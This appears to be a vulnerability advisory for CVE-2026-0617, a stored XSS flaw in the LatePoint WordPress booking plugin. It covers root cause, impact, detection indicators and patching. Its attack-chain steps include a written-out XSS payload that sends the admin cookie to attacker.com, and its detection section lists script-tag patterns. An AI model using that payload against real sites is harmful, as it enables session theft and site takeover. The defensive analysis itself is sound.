CVE-2026-0617: 
WordPress vulnerability analysis and mitigation

CVE-2026-0617 is a Stored Cross-Site Scripting (XSS) vulnerability in the LatePoint – Calendar Booking Plugin for Appointments and Events for WordPress. It affects all versions up to and including 5.2.5, and was published on February 3, 2026, with the assigner being Wordfence. Unauthenticated attackers can inject malicious scripts via customer profile fields that execute when an administrator views the customer's activity history. The vulnerability carries a CVSS v3.1 base score of 7.2 (High) (Wordfence, Red Hat CVE).

The root cause is insufficient input sanitization and output escaping in customer profile fields, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). The vulnerability is specifically triggered in the activity view (lib/views/activities/view.php, line 27), where user-supplied data from customer profiles is rendered without proper escaping in the admin panel. An unauthenticated attacker can submit a booking or create a customer profile with a crafted payload; the malicious script is stored server-side and executes in the administrator's browser when they review the customer's activity history. No authentication or user interaction from the attacker is required (Wordfence, WordPress Trac).

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of an authenticated administrator's browser session. This can result in theft of admin session tokens (enabling full site takeover), unauthorized modification of appointment and booking data, creation of rogue admin accounts, or installation of malicious plugins — all without any direct interaction from the attacker beyond submitting a crafted customer profile. The scope is changed (S:C), meaning the impact extends beyond the plugin itself to the broader WordPress installation (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.123%, indicating a low but non-negligible probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The attack requires no authentication and no user interaction from the attacker, making it relatively easy to weaponize once a target site is identified (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the LatePoint plugin (version ≤ 5.2.5) using tools like WPScan, Shodan, or by checking publicly accessible booking pages for LatePoint-specific markup.
2. Craft malicious payload: Prepare a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected into a customer profile field (such as first name, last name, or notes).
3. Submit the payload: Use the public-facing booking form to create a new customer appointment or profile, inserting the XSS payload into one or more customer profile fields that are stored in the database.
4. Wait for admin interaction: The payload is stored server-side. When an administrator navigates to the customer's activity history in the WordPress admin panel, the malicious script executes in their browser.
5. Achieve objective: The script can exfiltrate the admin's session cookie, perform actions on behalf of the admin (e.g., create a new admin user, install a backdoor plugin), or redirect the admin to a phishing page (Wordfence, WordPress Trac).

• Network: Outbound HTTP requests from the WordPress server or admin browser to unknown external domains shortly after an admin views customer activity history; unusual POST requests to LatePoint booking endpoints containing HTML/JavaScript tags in profile fields.
• Logs: WordPress access logs showing POST requests to booking/customer creation endpoints with encoded script tags (<script>, %3Cscript%3E, javascript:) in body parameters; admin panel access to customer activity pages followed by unexpected external requests.
• File System: Unexpected new admin user accounts created in wp_users; newly installed or modified plugins not authorized by site administrators.
• Process/Application: Unexpected JavaScript errors or redirects in the WordPress admin panel when viewing customer activity history; session tokens appearing in external server logs.

The vendor released a patched version (5.2.6) that addresses the insufficient input sanitization and output escaping in customer profile fields. All users of the LatePoint plugin should update to version 5.2.6 or later immediately via the WordPress plugin dashboard. The patch can be reviewed in the WordPress plugin repository changeset (WordPress Changeset). As a temporary workaround prior to patching, administrators can restrict public access to the booking form or use a Web Application Firewall (WAF) rule to block requests containing script tags in profile fields (Wordfence).

Wordfence disclosed the vulnerability and included it in their weekly WordPress vulnerability report for February 2–8, 2026, highlighting the unauthenticated nature of the attack as a key risk factor (Wordfence Weekly Report). Sucuri also referenced the vulnerability in their February 2026 vulnerability patch roundup, recommending prompt updates for affected WordPress site owners (Sucuri Blog). No significant social media controversy or threat actor attribution has been publicly reported.